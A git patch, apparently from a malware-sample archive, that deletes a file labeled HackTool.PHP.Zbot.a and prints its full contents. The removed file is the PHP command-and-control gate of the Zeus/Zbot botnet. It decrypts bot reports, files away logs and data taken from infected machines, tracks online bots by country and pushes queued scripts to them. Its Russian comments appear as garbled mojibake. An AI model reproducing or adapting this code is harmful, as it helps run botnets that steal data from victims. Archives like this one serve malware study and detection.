From 778166260efef6712798385d8d857ebade661784 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Mon, 2 Nov 2020 23:38:27 -0600 Subject: [PATCH] Delete HackTool.PHP.Zbot.a --- PHP/HackTool.PHP.Zbot.a | 293 ---------------------------------------- 1 file changed, 293 deletions(-) delete mode 100644 PHP/HackTool.PHP.Zbot.a diff --git a/PHP/HackTool.PHP.Zbot.a b/PHP/HackTool.PHP.Zbot.a deleted file mode 100644 index ee00ee5..0000000 --- a/PHP/HackTool.PHP.Zbot.a +++ /dev/null @@ -1,293 +0,0 @@ -<?php define('__REPORT__', 1); -/* - Гейт. - - Протокол бот <-> Ñервер предÑтавлÑет из ÑÐµÐ±Ñ Ñо Ñтороны бота - отÑылка отчета о чем либо, - а Ñо Ñтороны Ñервера - отправка изменений в наÑтройках( или команды). Со Ñтороны бота, за раз - отправлÑетÑÑ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾Ð± одном Ñобытие/объекте. -*/ - -if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die(); -require_once('system/global.php'); -require_once('system/config.php'); - -//Получаем данные. -$data = @file_get_contents('php://input'); -$data_size = @strlen($data); -if($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)die(); -$data = RC4($data, BOTNET_CRYPTKEY); - -//ВерефикациÑ. ЕÑли Ñовпадает MD5, нет ÑмыÑла проверÑть, что-то еще. -if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die(); - -//ПарÑим данные (Сжатие данных не поддерживаетÑÑ). -//ПоздравлÑÑŽ мега хакеров, Ñтот алгоритм позволит вам Ñпокойно читать данные бота. Ðе забудьте напиÑать 18 парÑеров и 100 бÑкдоров. -$list = array(); -for($i = HEADER_SIZE; $i < $data_size;) -{ - $k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE)); - $list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]); - $i += (ITEM_HEADER_SIZE + $k[3]); -} -unset($data); - -//ОÑновные параметры, которые должны быть вÑегда. -if(empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID]))die(); - -//ПодключаемÑÑ Ðº базе. -if(!ConnectToDB())die(); - -//////////////////////////////////////////////////////////////////////////////////////////////////// -// Обрабатываем данные. -//////////////////////////////////////////////////////////////////////////////////////////////////// - -$bot_id = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID])); -$bot_id_q = addslashes($bot_id); -$botnet = (empty($list[SBCID_BOTNET])) ? DEFAULT_BOTNET : str_replace("\x01", "\x02", trim($list[SBCID_BOTNET])); -$botnet_q = addslashes($botnet); -$bot_version = ToUint($list[SBCID_BOT_VERSION]); -$real_ipv4 = trim((!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR'])); -$country = GetCountryIPv4(); //str_replace("\x01", "\x02", GetCountryIPv4()); -$country_q = addslashes($country); -$curtime = time(); -$rtime_min_online = $curtime - BOTNET_TIMEOUT; //Минимальное времÑ, при котором бот ÑчитаетÑÑ Ð² онлайне. - -//Отчет об иÑполнении Ñкрипта. -if(!empty($list[SBCID_SCRIPT_ID]) && isset($list[SBCID_SCRIPT_STATUS], $list[SBCID_SCRIPT_RESULT]) && strlen($list[SBCID_SCRIPT_ID]) == 16) -{ - if(!@mysql_query("INSERT INTO botnet_scripts_stat SET bot_id='{$bot_id_q}',bot_version={$bot_version},rtime={$curtime},". - "extern_id='".addslashes($list[SBCID_SCRIPT_ID])."',". - "type=".(ToInt($list[SBCID_SCRIPT_STATUS]) == 0 ? 2 : 3).",". - "report='".addslashes($list[SBCID_SCRIPT_RESULT])."'"))die(); -} -//ЗапиÑÑŒ логов/файлов. -else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE])) -{ - $type = ToInt($list[SBCID_BOTLOG_TYPE]); - - if($type == BLT_FILE) - { - //РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ðµ, предÑтавлÑÑŽÑ‚ возможноÑть удаленного запуÑка. - $bad_exts = array('.php', '.asp', '.exe', '.pl', '.cgi', '.cmd', '.bat'); - $fd_hash = 0; - $fd_size = strlen($list[SBCID_BOTLOG]); - - //Формируем Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°. - $file_path = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id); - $last_name = ''; - $l = explode('/', (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace('\\', '/', $list[SBCID_PATH_DEST]) : 'unknown')); - foreach($l as $k)if(strlen($k) > 0 && strcmp($k, '..') !== 0 && strcmp($k, '.') !== 0)$file_path .= '/'.($last_name = urlencode($k)); - if(strlen($last_name) === 0)$file_path .= '/unknown.dat'; - unset($l); - - //ПроверÑем раÑширении, и указываем маÑку файла. - if(($ext = strrchr($last_name, '.')) === false || array_search(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat'; - $ext_pos = strrpos($file_path, '.'); - - //ДобавлÑем файл. - for($i = 0; $i < 9999; $i++) - { - if($i == 0)$f = $file_path; - else $f = substr_replace($file_path, '('.$i.').', $ext_pos, 1); - - if(file_exists($f)) - { - if($fd_size == filesize($f)) - { - if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true); - if(strcmp(md5_file($f, true), $fd_hash) === 0)break; - } - } - else - { - if(!CreateDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die(); - - flock($h, LOCK_EX); - fwrite($h, $list[SBCID_BOTLOG]); - flock($h, LOCK_UN); - fclose($h); - - break; - } - } - } - else - { - //ЗапиÑÑŒ в базу. - if(REPORTS_TO_DB === 1) - { - $table = 'botnet_reports_'.gmdate('ymd', $curtime); - $query = "INSERT DELAYED INTO {$table} SET bot_id='{$bot_id_q}',botnet='{$botnet_q}',bot_version={$bot_version},type={$type},country='{$country_q}',rtime={$curtime},". - "path_source='". (empty($list[SBCID_PATH_SOURCE]) ? '' : addslashes($list[SBCID_PATH_SOURCE]))."',". - "path_dest='". (empty($list[SBCID_PATH_DEST]) ? '' : addslashes($list[SBCID_PATH_DEST]))."',". - "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : ToUint($list[SBCID_TIME_SYSTEM])).",". - "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : ToUint($list[SBCID_TIME_TICK])).",". - "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : ToInt($list[SBCID_TIME_LOCALBIAS])).",". - "os_version='". (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO]))."',". - "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID])).",". - "process_name='". (empty($list[SBCID_PROCESS_NAME]) ? '' : addslashes($list[SBCID_PROCESS_NAME]))."',". - "ipv4='". addslashes($real_ipv4)."',". - "context='". addslashes($list[SBCID_BOTLOG])."'"; - - //Думаю такой порÑдок повышает производительноÑть. - if(!@mysql_query($query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS {$table} LIKE botnet_reports") || !@mysql_query($query)))die(); - } - - //ЗапиÑÑŒ в файл. - if(REPORTS_TO_FS === 1) - { - $file_path = REPORTS_PATH.'/other/'.urlencode($botnet).'/'.urlencode($bot_id); - if(!CreateDir($file_path) || !($h = fopen($file_path.'/reports.txt', 'ab')))die(); - - flock($h, LOCK_EX); - fwrite($h, str_repeat("=", 80)."\r\n". - "bot_id={$bot_id}\r\n". - "botnet={$botnet}\r\n". - "bot_version=".IntToVersion($bot_version)."\r\n". - "ipv4={$real_ipv4}\r\n". - "country={$country}\r\n". - "type={$type}\r\n". - "rtime=". gmdate('H:i:s d.m.Y', $curtime)."\r\n". - "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', ToInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. - "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : TickCountToTime(ToUint($list[SBCID_TIME_TICK]) / 1000))."\r\n". - "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : TimeBiasToText(ToInt($list[SBCID_TIME_LOCALBIAS])))."\r\n". - "os_version=". (empty($list[SBCID_OS_INFO]) ? '' : OSDataToString($list[SBCID_OS_INFO]))."\r\n". - "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID]))."\r\n". - "process_name=". (empty($list[SBCID_PROCESS_NAME]) ? '' : $list[SBCID_PROCESS_NAME])."\r\n". - "path_source=". (empty($list[SBCID_PATH_SOURCE]) ? '' : $list[SBCID_PATH_SOURCE])."\r\n". - "context=\r\n". $list[SBCID_BOTLOG]."\r\n\r\n\r\n"); - flock($h, LOCK_UN); - fclose($h); - } - } -} -//Отчет об онлайн-ÑтатуÑе. -else if(!empty($list[SBCID_BOT_STATUS])) -{ - //Стандартный запроÑ. - $query = "bot_id='{$bot_id_q}',botnet='{$botnet_q}',bot_version={$bot_version},country='{$country_q}',rtime_last={$curtime},". - - "net_latency=". (empty($list[SBCID_NET_LATENCY]) ? 0 : ToUint($list[SBCID_NET_LATENCY])).",". - "port_s1=". (empty($list[SBCID_PORT_S1]) ? 0 : ToUshort($list[SBCID_PORT_S1])).",". - "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : ToInt($list[SBCID_TIME_LOCALBIAS])).",". - "os_version='". (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO]))."',". - "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID])).",". - "ipv4='". addslashes($real_ipv4)."',". - "flag_nat=IF(net_latency > 0, IF(port_s1 > 0, 0, 1), 1)";//FIXME: ОпределÑть NAT ботом. - - if(!mysql_query("INSERT INTO botnet_list SET comments='', rtime_first={$curtime}, rtime_online={$curtime}, flag_install=".(ToInt($list[SBCID_BOT_STATUS]) == BS_INSTALLED ? 1 : 0).", {$query} ". - "ON DUPLICATE KEY UPDATE rtime_online=IF(rtime_last <= {$rtime_min_online}, {$curtime}, rtime_online), {$query}"))die(); - - //ПоиÑк Ñкриптов Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸. - $reply_data = ''; - $reply_count = 0; - - $bot_id_qm = ToSQLSafeMask($bot_id_q); - $botnet_qm = ToSQLSafeMask($botnet_q); - $country_qm = ToSQLSafeMask($country_q); - - $r = @mysql_query("SELECT extern_id, script_bin, send_limit, id FROM botnet_scripts WHERE flag_enabled=1 AND ". - "(countries_wl='' OR countries_wl LIKE BINARY '%\x01{$country_qm}\x01%') AND ". - "(countries_bl NOT LIKE BINARY '%\x01{$country_qm}\x01%') AND ". - "(botnets_wl='' OR botnets_wl LIKE BINARY '%\x01{$botnet_qm}\x01%') AND ". - "(botnets_bl NOT LIKE BINARY '%\x01{$botnet_qm}\x01%') AND ". - "(bots_wl='' OR bots_wl LIKE BINARY '%\x01{$bot_id_qm}\x01%') AND ". - "(bots_bl NOT LIKE BINARY '%\x01{$bot_id_qm}\x01%') ". - "LIMIT 10"); - - if($r)while((($m = mysql_fetch_row($r)))) - { - $eid = addslashes($m[0]); - - //ПроверÑем, не доÑтигнут ли лимит. - if($m[2] != 0 && ($j = @mysql_query("SELECT COUNT(*) FROM botnet_scripts_stat WHERE type=1 AND extern_id='{$eid}'")) && ($c = mysql_fetch_row($j)) && $c[0] >= $m[2]) - { - @mysql_query("UPDATE botnet_scripts SET flag_enabled=0 WHERE id={$m[3]} LIMIT 1"); - continue; - } - - //ДобовлÑем бота в ÑпиÑок отправленных. - if(@mysql_query("INSERT HIGH_PRIORITY INTO botnet_scripts_stat SET extern_id='{$eid}', type=1, bot_id='{$bot_id_q}', bot_version={$bot_version}, rtime={$curtime}, report='Sended'")) - { - $size = strlen($m[1]) + strlen($m[0]); - $reply_data .= pack('LLLL', ++$reply_count, 0, $size, $size).$m[0].$m[1]; - } - } - - if($reply_count > 0) - { - $reply_data = pack('LLL', HEADER_SIZE + strlen($reply_data), 0, $reply_count).md5($reply_data, true).$reply_data; - echo RC4($reply_data, BOTNET_CRYPTKEY); - die(); - } -} -else die(); - -//ОтправлÑем пуÑтой ответ. -SendEmptyReply(); - -/////////////////////////////////////////////////////////////////////////////// -// Функции. -/////////////////////////////////////////////////////////////////////////////// - -/* - Отправка пуÑтого ответа и выход. -*/ -function SendEmptyReply() -{ - echo RC4(pack('LLL', HEADER_SIZE + ITEM_HEADER_SIZE, 0, 1)."\x4A\xE7\x13\x36\xE4\x4B\xF9\xBF\x79\xD2\x75\x2E\x23\x48\x18\xA5"."\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", BOTNET_CRYPTKEY); - die(); -} - -/* - Получение Ñтраны. - - Return - string, Ñтрана. -*/ -function GetCountryIPv4() -{ - global $real_ipv4; - $ip = sprintf('%u', ip2long($real_ipv4)); - if(($r = @mysql_query("SELECT c FROM ipv4toc WHERE l<='".$ip."' AND h>='".$ip."' LIMIT 1")) && ($m = mysql_fetch_row($r)) !== false)return $m[0]; - else return '--'; -} - -/* - ÐšÐ¾Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Bin2UINT. - - IN $str - string, иÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð±Ð¸Ð½Ð°Ñ€Ð½Ð°Ñ Ñтрока. - - Return - int, Ñконвертированное чиÑло. -*/ -function ToUint($str) -{ - $q = @unpack('L', $str); - return is_array($q) && is_numeric($q[1]) ? ($q[1] < 0 ? sprintf('%u', $q[1]) : $q[1]) : 0; -} - -/* - ÐšÐ¾Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Bin2INT. - - IN $str - string, иÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð±Ð¸Ð½Ð°Ñ€Ð½Ð°Ñ Ñтрока. - - Return - int, Ñконвертированное чиÑло. -*/ -function ToInt($str) -{ - $q = @unpack('l', $str); - return is_array($q) && is_numeric($q[1]) ? $q[1] : 0; -} - -/* - ÐšÐ¾Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Bin2SHORT. - - IN $str - string, иÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð±Ð¸Ð½Ð°Ñ€Ð½Ð°Ñ Ñтрока. - - Return - int, Ñконвертированное чиÑло. -*/ -function ToUshort($str) -{ - $q = @unpack('S', $str); - return is_array($q) && is_numeric($q[1]) ? $q[1] : 0; -} -?> \ No newline at end of file -- GitLab